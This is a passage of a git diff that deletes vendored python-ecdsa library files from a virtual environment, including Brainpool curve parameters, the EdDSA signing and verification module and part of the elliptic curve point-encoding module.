ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp256r1 = ellipticcurve.PointJacobi( - curve_brainpoolp256r1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-256-t1 -_a = 0xA9FB57DBA1EEA9BC3E660A909D838D726E3BF623D52620282013481D1F6E5374 -_b = 0x662C61C430D84EA4FE66A7733D0B76B7BF93EBC4AF2F49256AE58101FEE92B04 -# _z = 0x3E2D4BD9597B58639AE7AA669CAB9837CF5CF20A2C852D10F655668DFC150EF0 -_Gx = 0xA3E8EB3CC1CFE7B7732213B23A656149AFA142C47AAFBC2B79A191562E1305F4 -_Gy = 0x2D996C823439C56D7F7B22E14644417E69BCB6DE39D027001DABE8F35B25C9BE -_q = 0xA9FB57DBA1EEA9BC3E660A909D838D718C397AA3B561A6F7901E0E82974856A7 - -curve_brainpoolp256t1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp256t1 = ellipticcurve.PointJacobi( - curve_brainpoolp256t1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-320-r1 -_a = int( - remove_whitespace( - """ - 3EE30B568FBAB0F883CCEBD46D3F3BB8A2A73513F5EB79DA66190EB085FFA9 - F492F375A97D860EB4""" - ), - 16, -) -_b = int( - remove_whitespace( - """ - 520883949DFDBC42D3AD198640688A6FE13F41349554B49ACC31DCCD884539 - 816F5EB4AC8FB1F1A6""" - ), - 16, -) -_p = int( - remove_whitespace( - """ - D35E472036BC4FB7E13C785ED201E065F98FCFA6F6F40DEF4F92B9EC7893EC - 28FCD412B1F1B32E27""" - ), - 16, -) -_Gx = int( - remove_whitespace( - """ - 43BD7E9AFB53D8B85289BCC48EE5BFE6F20137D10A087EB6E7871E2A10A599 - C710AF8D0D39E20611""" - ), - 16, -) -_Gy = int( - remove_whitespace( - """ - 14FDD05545EC1CC8AB4093247F77275E0743FFED117182EAA9C77877AAAC6A - C7D35245D1692E8EE1""" - ), - 16, -) -_q = int( - remove_whitespace( - """ - D35E472036BC4FB7E13C785ED201E065F98FCFA5B68F12A32D482EC7EE8658 - E98691555B44C59311""" - ), - 16, -) - -curve_brainpoolp320r1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp320r1 = ellipticcurve.PointJacobi( - curve_brainpoolp320r1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-320-t1 -_a = int( - remove_whitespace( - """ - D35E472036BC4FB7E13C785ED201E065F98FCFA6F6F40DEF4F92B9EC7893EC - 28FCD412B1F1B32E24""" - ), - 16, -) -_b = int( - remove_whitespace( - """ - A7F561E038EB1ED560B3D147DB782013064C19F27ED27C6780AAF77FB8A547 - CEB5B4FEF422340353""" - ), - 16, -) -# _z = int( -# remove_whitespace( -# """ -# 15F75CAF668077F7E85B42EB01F0A81FF56ECD6191D55CB82B7D861458A18F -# EFC3E5AB7496F3C7B1""" -# ), -# 16, -# ) -_Gx = int( - remove_whitespace( - """ - 925BE9FB01AFC6FB4D3E7D4990010F813408AB106C4F09CB7EE07868CC136F - FF3357F624A21BED52""" - ), - 16, -) -_Gy = int( - remove_whitespace( - """ - 63BA3A7A27483EBF6671DBEF7ABB30EBEE084E58A0B077AD42A5A0989D1EE7 - 1B1B9BC0455FB0D2C3""" - ), - 16, -) -_q = int( - remove_whitespace( - """ - D35E472036BC4FB7E13C785ED201E065F98FCFA5B68F12A32D482EC7EE8658 - E98691555B44C59311""" - ), - 16, -) - -curve_brainpoolp320t1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp320t1 = ellipticcurve.PointJacobi( - curve_brainpoolp320t1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-384-r1 -_a = int( - remove_whitespace( - """ - 7BC382C63D8C150C3C72080ACE05AFA0C2BEA28E4FB22787139165EFBA91F9 - 0F8AA5814A503AD4EB04A8C7DD22CE2826""" - ), - 16, -) -_b = int( - remove_whitespace( - """ - 04A8C7DD22CE28268B39B55416F0447C2FB77DE107DCD2A62E880EA53EEB62 - D57CB4390295DBC9943AB78696FA504C11""" - ), - 16, -) -_p = int( - remove_whitespace( - """ - 8CB91E82A3386D280F5D6F7E50E641DF152F7109ED5456B412B1DA197FB711 - 23ACD3A729901D1A71874700133107EC53""" - ), - 16, -) -_Gx = int( - remove_whitespace( - """ - 1D1C64F068CF45FFA2A63A81B7C13F6B8847A3E77EF14FE3DB7FCAFE0CBD10 - E8E826E03436D646AAEF87B2E247D4AF1E""" - ), - 16, -) -_Gy = int( - remove_whitespace( - """ - 8ABE1D7520F9C2A45CB1EB8E95CFD55262B70B29FEEC5864E19C054FF991292 - 80E4646217791811142820341263C5315""" - ), - 16, -) -_q = int( - remove_whitespace( - """ - 8CB91E82A3386D280F5D6F7E50E641DF152F7109ED5456B31F166E6CAC0425 - A7CF3AB6AF6B7FC3103B883202E9046565""" - ), - 16, -) - -curve_brainpoolp384r1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp384r1 = ellipticcurve.PointJacobi( - curve_brainpoolp384r1, _Gx, _Gy, 1, _q, generator=True -) - -_a = int( - remove_whitespace( - """ - 8CB91E82A3386D280F5D6F7E50E641DF152F7109ED5456B412B1DA197FB711 - 23ACD3A729901D1A71874700133107EC50""" - ), - 16, -) -_b = int( - remove_whitespace( - """ - 7F519EADA7BDA81BD826DBA647910F8C4B9346ED8CCDC64E4B1ABD11756DCE - 1D2074AA263B88805CED70355A33B471EE""" - ), - 16, -) -# _z = int( -# remove_whitespace( -# """ -# 41DFE8DD399331F7166A66076734A89CD0D2BCDB7D068E44E1F378F41ECBAE -# 97D2D63DBC87BCCDDCCC5DA39E8589291C""" -# ), -# 16, -# ) -_Gx = int( - remove_whitespace( - """ - 18DE98B02DB9A306F2AFCD7235F72A819B80AB12EBD653172476FECD462AAB - FFC4FF191B946A5F54D8D0AA2F418808CC""" - ), - 16, -) -_Gy = int( - remove_whitespace( - """ - 25AB056962D30651A114AFD2755AD336747F93475B7A1FCA3B88F2B6A208CC - FE469408584DC2B2912675BF5B9E582928""" - ), - 16, -) -_q = int( - remove_whitespace( - """ - 8CB91E82A3386D280F5D6F7E50E641DF152F7109ED5456B31F166E6CAC0425 - A7CF3AB6AF6B7FC3103B883202E9046565""" - ), - 16, -) - -curve_brainpoolp384t1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp384t1 = ellipticcurve.PointJacobi( - curve_brainpoolp384t1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-512-r1 -_a = int( - remove_whitespace( - """ - 7830A3318B603B89E2327145AC234CC594CBDD8D3DF91610A83441CAEA9863 - BC2DED5D5AA8253AA10A2EF1C98B9AC8B57F1117A72BF2C7B9E7C1AC4D77FC94CA""" - ), - 16, -) -_b = int( - remove_whitespace( - """ - 3DF91610A83441CAEA9863BC2DED5D5AA8253AA10A2EF1C98B9AC8B57F1117 - A72BF2C7B9E7C1AC4D77FC94CADC083E67984050B75EBAE5DD2809BD638016F723""" - ), - 16, -) -_p = int( - remove_whitespace( - """ - AADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA703308 - 717D4D9B009BC66842AECDA12AE6A380E62881FF2F2D82C68528AA6056583A48F3""" - ), - 16, -) -_Gx = int( - remove_whitespace( - """ - 81AEE4BDD82ED9645A21322E9C4C6A9385ED9F70B5D916C1B43B62EEF4D009 - 8EFF3B1F78E2D0D48D50D1687B93B97D5F7C6D5047406A5E688B352209BCB9F822""" - ), - 16, -) -_Gy = int( - remove_whitespace( - """ - 7DDE385D566332ECC0EABFA9CF7822FDF209F70024A57B1AA000C55B881F81 - 11B2DCDE494A5F485E5BCA4BD88A2763AED1CA2B2FA8F0540678CD1E0F3AD80892""" - ), - 16, -) -_q = int( - remove_whitespace( - """ - AADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA703308 - 70553E5C414CA92619418661197FAC10471DB1D381085DDADDB58796829CA90069""" - ), - 16, -) - -curve_brainpoolp512r1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp512r1 = ellipticcurve.PointJacobi( - curve_brainpoolp512r1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-512-t1 -_a = int( - remove_whitespace( - """ - AADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA703308 - 717D4D9B009BC66842AECDA12AE6A380E62881FF2F2D82C68528AA6056583A48F0""" - ), - 16, -) -_b = int( - remove_whitespace( - """ - 7CBBBCF9441CFAB76E1890E46884EAE321F70C0BCB4981527897504BEC3E36 - A62BCDFA2304976540F6450085F2DAE145C22553B465763689180EA2571867423E""" - ), - 16, -) -# _z = int( -# remove_whitespace( -# """ -# 12EE58E6764838B69782136F0F2D3BA06E27695716054092E60A80BEDB212B -# 64E585D90BCE13761F85C3F1D2A64E3BE8FEA2220F01EBA5EEB0F35DBD29D922AB""" -# ), -# 16, -# ) -_Gx = int( - remove_whitespace( - """ - 640ECE5C12788717B9C1BA06CBC2A6FEBA85842458C56DDE9DB1758D39C031 - 3D82BA51735CDB3EA499AA77A7D6943A64F7A3F25FE26F06B51BAA2696FA9035DA""" - ), - 16, -) -_Gy = int( - remove_whitespace( - """ - 5B534BD595F5AF0FA2C892376C84ACE1BB4E3019B71634C01131159CAE03CE - E9D9932184BEEF216BD71DF2DADF86A627306ECFF96DBB8BACE198B61E00F8B332""" - ), - 16, -) -_q = int( - remove_whitespace( - """ - AADD9DB8DBE9C48B3FD4E6AE33C9FC07CB308DB3B3C9D20ED6639CCA703308 - 70553E5C414CA92619418661197FAC10471DB1D381085DDADDB58796829CA90069""" - ), - 16, -) - -curve_brainpoolp512t1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp512t1 = ellipticcurve.PointJacobi( - curve_brainpoolp512t1, _Gx, _Gy, 1, _q, generator=True -) diff --git a/venv/Lib/site-packages/ecdsa/eddsa.py b/venv/Lib/site-packages/ecdsa/eddsa.py deleted file mode 100644 index 9769cfd8e63eb17d23d6bfa213d763d3fadb7cba..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/eddsa.py +++ /dev/null @@ -1,252 +0,0 @@ -"""Implementation of Edwards Digital Signature Algorithm.""" - -import hashlib -from ._sha3 import shake_256 -from . import ellipticcurve -from ._compat import ( - remove_whitespace, - bit_length, - bytes_to_int, - int_to_bytes, - compat26_str, -) - -# edwards25519, defined in RFC7748 -_p = 2**255 - 19 -_a = -1 -_d = int( - remove_whitespace( - "370957059346694393431380835087545651895421138798432190163887855330" - "85940283555" - ) -) -_h = 8 - -_Gx = int( - remove_whitespace( - "151122213495354007725011514095885315114540126930418572060461132" - "83949847762202" - ) -) -_Gy = int( - remove_whitespace( - "463168356949264781694283940034751631413079938662562256157830336" - "03165251855960" - ) -) -_r = 2**252 + 0x14DEF9DEA2F79CD65812631A5CF5D3ED - - -def _sha512(data): - return hashlib.new("sha512", compat26_str(data)).digest() - - -curve_ed25519 = ellipticcurve.CurveEdTw(_p, _a, _d, _h, _sha512) -generator_ed25519 = ellipticcurve.PointEdwards( - curve_ed25519, _Gx, _Gy, 1, _Gx * _Gy % _p, _r, generator=True -) - - -# edwards448, defined in RFC7748 -_p = 2**448 - 2**224 - 1 -_a = 1 -_d = -39081 % _p -_h = 4 - -_Gx = int( - remove_whitespace( - "224580040295924300187604334099896036246789641632564134246125461" - "686950415467406032909029192869357953282578032075146446173674602635" - "247710" - ) -) -_Gy = int( - remove_whitespace( - "298819210078481492676017930443930673437544040154080242095928241" - "372331506189835876003536878655418784733982303233503462500531545062" - "832660" - ) -) -_r = 2**446 - 0x8335DC163BB124B65129C96FDE933D8D723A70AADC873D6D54A7BB0D - - -def _shake256(data): - return shake_256(data, 114) - - -curve_ed448 = ellipticcurve.CurveEdTw(_p, _a, _d, _h, _shake256) -generator_ed448 = ellipticcurve.PointEdwards( - curve_ed448, _Gx, _Gy, 1, _Gx * _Gy % _p, _r, generator=True -) - - -class PublicKey(object): - """Public key for the Edwards Digital Signature Algorithm.""" - - def __init__(self, generator, public_key, public_point=None): - self.generator = generator - self.curve = generator.curve() - self.__encoded = public_key - # plus one for the sign bit and round up - self.baselen = (bit_length(self.curve.p()) + 1 + 7) // 8 - if len(public_key) != self.baselen: - raise ValueError( - "Incorrect size of the public key, expected: {0} bytes".format( - self.baselen - ) - ) - if public_point: - self.__point = public_point - else: - self.__point = ellipticcurve.PointEdwards.from_bytes( - self.curve, public_key - ) - - def __eq__(self, other): - if isinstance(other, PublicKey): - return ( - self.curve == other.curve and self.__encoded == other.__encoded - ) - return NotImplemented - - def __ne__(self, other): - return not self == other - - @property - def point(self): - return self.__point - - @point.setter - def point(self, other): - if self.__point != other: - raise ValueError("Can't change the coordinates of the point") - self.__point = other - - def public_point(self): - return self.__point - - def public_key(self): - return self.__encoded - - def verify(self, data, signature): - """Verify a Pure EdDSA signature over data.""" - data = compat26_str(data) - if len(signature) != 2 * self.baselen: - raise ValueError( - "Invalid signature length, expected: {0} bytes".format( - 2 * self.baselen - ) - ) - R = ellipticcurve.PointEdwards.from_bytes( - self.curve, signature[: self.baselen] - ) - S = bytes_to_int(signature[self.baselen :], "little") - if S >= self.generator.order(): - raise ValueError("Invalid signature") - - dom = bytearray() - if self.curve == curve_ed448: - dom = bytearray(b"SigEd448" + b"\x00\x00") - - k = bytes_to_int( - self.curve.hash_func(dom + R.to_bytes() + self.__encoded + data), - "little", - ) - - if self.generator * S != self.__point * k + R: - raise ValueError("Invalid signature") - - return True - - -class PrivateKey(object): - """Private key for the Edwards Digital Signature Algorithm.""" - - def __init__(self, generator, private_key): - self.generator = generator - self.curve = generator.curve() - # plus one for the sign bit and round up - self.baselen = (bit_length(self.curve.p()) + 1 + 7) // 8 - if len(private_key) != self.baselen: - raise ValueError( - "Incorrect size of private key, expected: {0} bytes".format( - self.baselen - ) - ) - self.__private_key = bytes(private_key) - self.__h = bytearray(self.curve.hash_func(private_key)) - self.__public_key = None - - a = self.__h[: self.baselen] - a = self._key_prune(a) - scalar = bytes_to_int(a, "little") - self.__s = scalar - - @property - def private_key(self): - return self.__private_key - - def __eq__(self, other): - if isinstance(other, PrivateKey): - return ( - self.curve == other.curve - and self.__private_key == other.__private_key - ) - return NotImplemented - - def __ne__(self, other): - return not self == other - - def _key_prune(self, key): - # make sure the key is not in a small subgroup - h = self.curve.cofactor() - if h == 4: - h_log = 2 - elif h == 8: - h_log = 3 - else: - raise ValueError("Only cofactor 4 and 8 curves supported") - key[0] &= ~((1 << h_log) - 1) - - # ensure the highest bit is set but no higher - l = bit_length(self.curve.p()) - if l % 8 == 0: - key[-1] = 0 - key[-2] |= 0x80 - else: - key[-1] = key[-1] & (1 << (l % 8)) - 1 | 1 << (l % 8) - 1 - return key - - def public_key(self): - """Generate the public key based on the included private key""" - if self.__public_key: - return self.__public_key - - public_point = self.generator * self.__s - - self.__public_key = PublicKey( - self.generator, public_point.to_bytes(), public_point - ) - - return self.__public_key - - def sign(self, data): - """Perform a Pure EdDSA signature over data.""" - data = compat26_str(data) - A = self.public_key().public_key() - - prefix = self.__h[self.baselen :] - - dom = bytearray() - if self.curve == curve_ed448: - dom = bytearray(b"SigEd448" + b"\x00\x00") - - r = bytes_to_int(self.curve.hash_func(dom + prefix + data), "little") - R = (self.generator * r).to_bytes() - - k = bytes_to_int(self.curve.hash_func(dom + R + A + data), "little") - k %= self.generator.order() - - S = (r + k * self.__s) % self.generator.order() - - return R + int_to_bytes(S, self.baselen, "little") diff --git a/venv/Lib/site-packages/ecdsa/ellipticcurve.py b/venv/Lib/site-packages/ecdsa/ellipticcurve.py deleted file mode 100644 index a982c1e492ca316ffe28c3e13e5dc1ce3859e615..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/ellipticcurve.py +++ /dev/null @@ -1,1609 +0,0 @@ -#! /usr/bin/env python -# -*- coding: utf-8 -*- -# -# Implementation of elliptic curves, for cryptographic applications. -# -# This module doesn't provide any way to choose a random elliptic -# curve, nor to verify that an elliptic curve was chosen randomly, -# because one can simply use NIST's standard curves. -# -# Notes from X9.62-1998 (draft): -# Nomenclature: -# - Q is a public key. -# The "Elliptic Curve Domain Parameters" include: -# - q is the "field size", which in our case equals p. -# - p is a big prime. -# - G is a point of prime order (5.1.1.1). -# - n is the order of G (5.1.1.1). -# Public-key validation (5.2.2): -# - Verify that Q is not the point at infinity. -# - Verify that X_Q and Y_Q are in [0,p-1]. -# - Verify that Q is on the curve. -# - Verify that nQ is the point at infinity. -# Signature generation (5.3): -# - Pick random k from [1,n-1]. -# Signature checking (5.4.2): -# - Verify that r and s are in [1,n-1]. -# -# Revision history: -# 2005.12.31 - Initial version. -# 2008.11.25 - Change CurveFp.is_on to contains_point. -# -# Written in 2005 by Peter Pearson and placed in the public domain. -# Modified extensively as part of python-ecdsa. - -from __future__ import division - -try: - from gmpy2 import mpz - - GMPY = True -except ImportError: # pragma: no branch - try: - from gmpy import mpz - - GMPY = True - except ImportError: - GMPY = False - - -from six import python_2_unicode_compatible -from . import numbertheory -from ._compat import normalise_bytes, int_to_bytes, bit_length, bytes_to_int -from .errors import MalformedPointError -from .util import orderlen, string_to_number, number_to_string - - -@python_2_unicode_compatible -class CurveFp(object): - """ - :term:`Short Weierstrass Elliptic Curve ` over a - prime field. - """ - - if GMPY: # pragma: no branch - - def __init__(self, p, a, b, h=None): - """ - The curve of points satisfying y^2 = x^3 + a*x + b (mod p). - - h is an integer that is the cofactor of the elliptic curve domain - parameters; it is the number of points satisfying the elliptic - curve equation divided by the order of the base point. It is used - for selection of efficient algorithm for public point verification. - """ - self.__p = mpz(p) - self.__a = mpz(a) - self.__b = mpz(b) - # h is not used in calculations and it can be None, so don't use - # gmpy with it - self.__h = h - - else: # pragma: no branch - - def __init__(self, p, a, b, h=None): - """ - The curve of points satisfying y^2 = x^3 + a*x + b (mod p). - - h is an integer that is the cofactor of the elliptic curve domain - parameters; it is the number of points satisfying the elliptic - curve equation divided by the order of the base point. It is used - for selection of efficient algorithm for public point verification. - """ - self.__p = p - self.__a = a - self.__b = b - self.__h = h - - def __eq__(self, other): - """Return True if other is an identical curve, False otherwise. - - Note: the value of the cofactor of the curve is not taken into account - when comparing curves, as it's derived from the base point and - intrinsic curve characteristic (but it's complex to compute), - only the prime and curve parameters are considered. - """ - if isinstance(other, CurveFp): - p = self.__p - return ( - self.__p == other.__p - and self.__a % p == other.__a % p - and self.__b % p == other.__b % p - ) - return NotImplemented - - def __ne__(self, other): - """Return False if other is an identical curve, True otherwise.""" - return not self == other - - def __hash__(self): - return hash((self.__p, self.__a, self.__b)) - - def p(self): - return self.__p - - def a(self): - return self.__a - - def b(self): - return self.__b - - def cofactor(self): - return self.__h - - def contains_point(self, x, y): - """Is the point (x,y) on this curve?""" - return (y * y - ((x * x + self.__a) * x + self.__b)) % self.__p == 0 - - def __str__(self): - if self.__h is not None: - return "CurveFp(p={0}, a={1}, b={2}, h={3})".format( - self.__p, - self.__a, - self.__b, - self.__h, - ) - return "CurveFp(p={0}, a={1}, b={2})".format( - self.__p, - self.__a, - self.__b, - ) - - -class CurveEdTw(object): - """Parameters for a Twisted Edwards Elliptic Curve""" - - if GMPY: # pragma: no branch - - def __init__(self, p, a, d, h=None, hash_func=None): - """ - The curve of points satisfying a*x^2 + y^2 = 1 + d*x^2*y^2 (mod p). - - h is the cofactor of the curve. - hash_func is the hash function associated with the curve - (like SHA-512 for Ed25519) - """ - self.__p = mpz(p) - self.__a = mpz(a) - self.__d = mpz(d) - self.__h = h - self.__hash_func = hash_func - - else: - - def __init__(self, p, a, d, h=None, hash_func=None): - """ - The curve of points satisfying a*x^2 + y^2 = 1 + d*x^2*y^2 (mod p). - - h is the cofactor of the curve. - hash_func is the hash function associated with the curve - (like SHA-512 for Ed25519) - """ - self.__p = p - self.__a = a - self.__d = d - self.__h = h - self.__hash_func = hash_func - - def __eq__(self, other): - """Returns True if other is an identical curve.""" - if isinstance(other, CurveEdTw): - p = self.__p - return ( - self.__p == other.__p - and self.__a % p == other.__a % p - and self.__d % p == other.__d % p - ) - return NotImplemented - - def __ne__(self, other): - """Return False if the other is an identical curve, True otherwise.""" - return not self == other - - def __hash__(self): - return hash((self.__p, self.__a, self.__d)) - - def contains_point(self, x, y): - """Is the point (x, y) on this curve?""" - return ( - self.__a * x * x + y * y - 1 - self.__d * x * x * y * y - ) % self.__p == 0 - - def p(self): - return self.__p - - def a(self): - return self.__a - - def d(self): - return self.__d - - def hash_func(self, data): - return self.__hash_func(data) - - def cofactor(self): - return self.__h - - def __str__(self): - if self.__h is not None: - return "CurveEdTw(p={0}, a={1}, d={2}, h={3})".format( - self.__p, - self.__a, - self.__d, - self.__h, - ) - return "CurveEdTw(p={0}, a={1}, d={2})".format( - self.__p, - self.__a, - self.__d, - ) - - -class AbstractPoint(object): - """Class for common methods of elliptic curve points.""" - - @staticmethod - def _from_raw_encoding(data, raw_encoding_length): - """ - Decode public point from :term:`raw encoding`. - - :term:`raw encoding` is the same as the :term:`uncompressed` encoding, - but without the 0x04 byte at the beginning. - """ - # real assert, from_bytes() should not call us with different length - assert len(data) == raw_encoding_length - xs = data[: raw_encoding_length // 2] - ys = data[raw_encoding_length // 2 :] - # real assert, raw_encoding_length is calculated by multiplying an - # integer by two so it will always be even - assert len(xs) == raw_encoding_length // 2 - assert len(ys) == raw_encoding_length // 2 - coord_x = string_to_number(xs) - coord_y = string_to_number(ys) - - return coord_x, coord_y - - @staticmethod - def _from_compressed(data, curve): - """Decode public point from compressed encoding.""" - if data[:1] not in (b"\x02", b"\x03"): - raise MalformedPointError("Malformed compressed point encoding") - - is_even = data[:1] == b"\x02" - x = string_to_number(data[1:]) - p = curve.p() - alpha = (pow(x, 3, p) + (curve.a() * x) + curve.b()) % p - try: - beta = numbertheory.square_root_mod_prime(alpha, p) - except numbertheory.Error as e: - raise MalformedPointError( - "Encoding does not correspond to a point on curve", e - ) - if is_even == bool(beta & 1): - y = p - beta - else: - y = beta - return x, y - - @classmethod - def _from_hybrid(cls, data, raw_encoding_length, validate_encoding): - """Decode public point from hybrid encoding.""" - # real assert, from_bytes() should not call us with different types - assert data[:1] in (b"\x06", b"\x07") - - # primarily use the uncompressed as it's easiest to handle - x, y = cls._from_raw_encoding(data[1:], raw_encoding_length) - - # but validate if it's self-consistent if we're asked to do that - if validate_encoding and ( - y & 1 - and data[:1] != b"\x07" - or (not y & 1) - and data[:1] != b"\x06" - ): - raise MalformedPointError("Inconsistent hybrid point encoding") - - return x, y - - @classmethod - def _from_edwards(cls, curve, data): - """Decode a point on an Edwards curve.""" - data = bytearray(data) - p = curve.p() - # add 1 for the sign bit and then round up - exp_len = (bit_length(p) + 1 + 7) // 8 - if len(data) != exp_len: - raise MalformedPointError("Point length doesn't match the curve.") - x_0 = (data[-1] & 0x80) >> 7 - - data[-1] &= 0x80 - 1 - - y = bytes_to_int(data, "little") - if GMPY: - y = mpz(y) - - x2 = ( - (y * y - 1) - * numbertheory.inverse_mod(curve.d() * y * y - curve.a(), p) - % p - ) - - try: - x = numbertheory.square_root_mod_prime(x2, p) - except numbertheory.Error as e: - raise MalformedPointError( - "Encoding does not correspond to a point on curve", e - ) - - if x % 2 != x_0: - x = -x % p - - return x, y - - @classmethod - def from_bytes( - cls, curve, data, validate_encoding=True, valid_encodings=None - ): - """ - Initialise the object from byte encoding of a point. - - The method does accept and automatically detect the type of point - encoding used. It supports the :term:`raw encoding`, - :term:`uncompressed`, :term:`compressed`, and :term:`hybrid` encodings. - - Note: generally you will want to call the ``from_bytes()`` method of - either a child class, PointJacobi or Point. - - :param data: single point encoding of the public key - :type data: :term:`bytes-like object` - :param curve: the curve on which the public key is expected to lay - :type curve: ~ecdsa.ellipticcurve.CurveFp - :param validate_encoding: whether to verify that the encoding of the - point is self-consistent, defaults to True, has effect only - on ``hybrid`` encoding - :type validate_encoding: bool - :param valid_encodings: list of acceptable point encoding formats, - supported ones are: :term:`uncompressed`, :term:`compressed`, - :term:`hybrid`, and :term:`raw encoding` (specified with ``raw`` - name). All formats by default (specified with ``None``). - :type valid_encodings: :term:`set-like object` - - :raises `~ecdsa.errors.MalformedPointError`: if the public point does - not lay on the curve or the encoding is invalid - - :return: x and y coordinates of the encoded point - :rtype: tuple(int, int) - """ - if not valid_encodings: - valid_encodings = set( - ["uncompressed", "compressed", "hybrid", "raw"] - ) - if not all( - i in set(("uncompressed", "compressed", "hybrid", "raw")) - for i in valid_encodings - ): - raise ValueError( - "Only uncompressed, compressed, hybrid or raw encoding " - "supported." - ) - data = normalise_bytes(data) - - if isinstance(curve, CurveEdTw): - return cls._from_edwards(curve, data) - - key_len = len(data) - raw_encoding_length = 2 * orderlen(curve.p()) - if key_len == raw_encoding_length and "raw" in valid_encodings: - coord_x, coord_y = cls._from_raw_encoding( - data, raw_encoding_length - ) - elif key_len == raw_encoding_length + 1 and ( - "hybrid" in valid_encodings or "uncompressed" in valid_encodings - ): - if data[:1] in (b"\x06", b"\x07") and "hybrid" in valid_encodings: - coord_x, coord_y = cls._from_hybrid( - data, raw_encoding_length, validate_encoding - ) - elif data[:1] == b"\x04" and "uncompressed" in valid_encodings: - coord_x, coord_y = cls._from_raw_encoding( - data[1:], raw_encoding_length - ) - else: - raise MalformedPointError( - "Invalid X9.62 encoding of the public point" - ) - elif ( - key_len == raw_encoding_length // 2 + 1 - and "compressed" in valid_encodings - ): - coord_x, coord_y = cls._from_compressed(data, curve) - else: - raise MalformedPointError( - "Length of string does not match lengths of " - "any of the enabled ({0}) encodings of the " - "curve.".format(", ".join(valid_encodings)) - ) - return coord_x, coord_y - - def _raw_encode(self): - """Convert the point to the :term:`raw encoding`.""" - prime = self.curve().p() - x_str = number_to_string(self.x(), prime) - y_str = number_to_string(self.y(), prime) - return x_str + y_str - - def _compressed_encode(self): - """Encode the point into the compressed form.""" - prime = self.curve().p() - x_str = number_to_string(self.x(), prime) - if self.y() & 1: - return b"\x03" + x_str - return b"\x02" + x_str - - def _hybrid_encode(self): - """Encode the point into the hybrid form.""" - raw_enc = self._raw_encode() - if self.y() & 1: - return b"\x07" + raw_enc - return b"\x06" + raw_enc - - def _edwards_encode(self): - """Encode the point according to RFC8032 encoding.""" - self.scale() - x, y, p = self.x(), self.y(), self.curve().p() - - # add 1 for the sign bit and then round up - enc_len = (bit_length(p) + 1 + 7) // 8 - y_str = int_to_bytes(y, enc_len, "little") - if x % 2: - y_str[-1] |= 0x80 - return y_str - - def to_bytes(self, encoding="raw"): - """ - Convert the point to a byte string. - - The method by default uses the :term:`raw encoding` (specified - by `encoding="raw"`. It can also output points in :term:`uncompressed`, - :term:`compressed`, and :term:`hybrid` formats. - - For points on Edwards curves `encoding` is ignored and only the - encoding defined in RFC 8032 is supported. - - :return: :term:`raw encoding` of a public on the curve - :rtype: bytes - """ - assert encoding in ("raw", "uncompressed", "compressed", "hybrid") - curve = self.curve() - if isinstance(curve, CurveEdTw): - return self._edwards_encode() - elif encoding == "raw": - return self._raw_encode() - elif encoding == "uncompressed": - return b"\x04" + self._raw_encode() - elif encoding == "hybrid": - return self._hybrid_encode() - else: - return self._compressed_encode() - - @staticmethod - def _naf(mult): - """Calculate non-adjacent form of number.""" - ret = [] - while mult: - if mult % 2: - nd = mult % 4 - if nd >= 2: - nd -= 4 - ret.append(nd) - mult -= nd - else: - ret.append(0) - mult //= 2 - return ret - - -class PointJacobi(AbstractPoint): - """ - Point on a short Weierstrass elliptic curve. Uses Jacobi coordinates. - - In Jacobian coordinates, there are three parameters, X, Y and Z. - They correspond to affine parameters 'x' and 'y' like so: - - x = X / Z² - y = Y / Z³ - """ - - def __init__(self, curve, x, y, z, order=None, generator=False): - """ - Initialise a point that uses Jacobi representation internally. - - :param CurveFp curve: curve on which the point resides - :param int x: the X parameter of Jacobi representation (equal to x when - converting from affine coordinates - :param int y: the Y parameter of Jacobi representation (equal to y when - converting from affine coordinates - :param int z: the Z parameter of Jacobi representation (equal to 1 when - converting from affine coordinates - :param int order: the point order, must be non zero when using - generator=True - :param bool generator: the point provided is a curve generator, as - such, it will be commonly used with scalar multiplication. This will - cause to precompute multiplication table generation for it - """ - super(PointJacobi, self).__init__() - self.__curve = curve - if GMPY: # pragma: no branch - self.__coords = (mpz(x), mpz(y), mpz(z)) - self.__order = order and mpz(order) - else: # pragma: no branch - self.__coords = (x, y, z) - self.__order = order - self.__generator = generator - self.__precompute = [] - - @classmethod - def from_bytes( - cls, - curve, - data, - validate_encoding=True, - valid_encodings=None, - order=None, - generator=False, - ): - """ - Initialise the object from byte encoding of a point. - - The method does accept and automatically detect the type of point - encoding used. It supports the :term:`raw encoding`, - :term:`uncompressed`, :term:`compressed`, and :term:`hybrid` encodings. - - :param data: single point encoding of the public key - :type data: :term:`bytes-like object` - :param curve: the curve on which the public key is expected to lay - :type curve: ~ecdsa.ellipticcurve.CurveFp - :param validate_encoding: whether to verify that the encoding of the - point is self-consistent, defaults to True, has effect only - on ``hybrid`` encoding - :type validate_encoding: bool - :param valid_encodings: list of acceptable point encoding formats, - supported ones are: :term:`uncompressed`, :term:`compressed`, - :term:`hybrid`, and :term:`raw encoding` (specified with ``raw`` - name). All formats by default (specified with ``None``). - :type valid_encodings: :term:`set-like object` - :param int order: the point order, must be non zero when using - generator=True - :param bool generator: the point provided is a curve generator, as - such, it will be commonly used with scalar multiplication. This - will cause to precompute multiplication table generation for it - - :raises `~ecdsa.errors.MalformedPointError`: if the public point does - not lay on the curve or the encoding is invalid - - :return: Point on curve - :rtype: PointJacobi - """ - coord_x, coord_y = super(PointJacobi, cls).from_bytes( - curve, data, validate_encoding, valid_encodings - ) - return PointJacobi(curve, coord_x, 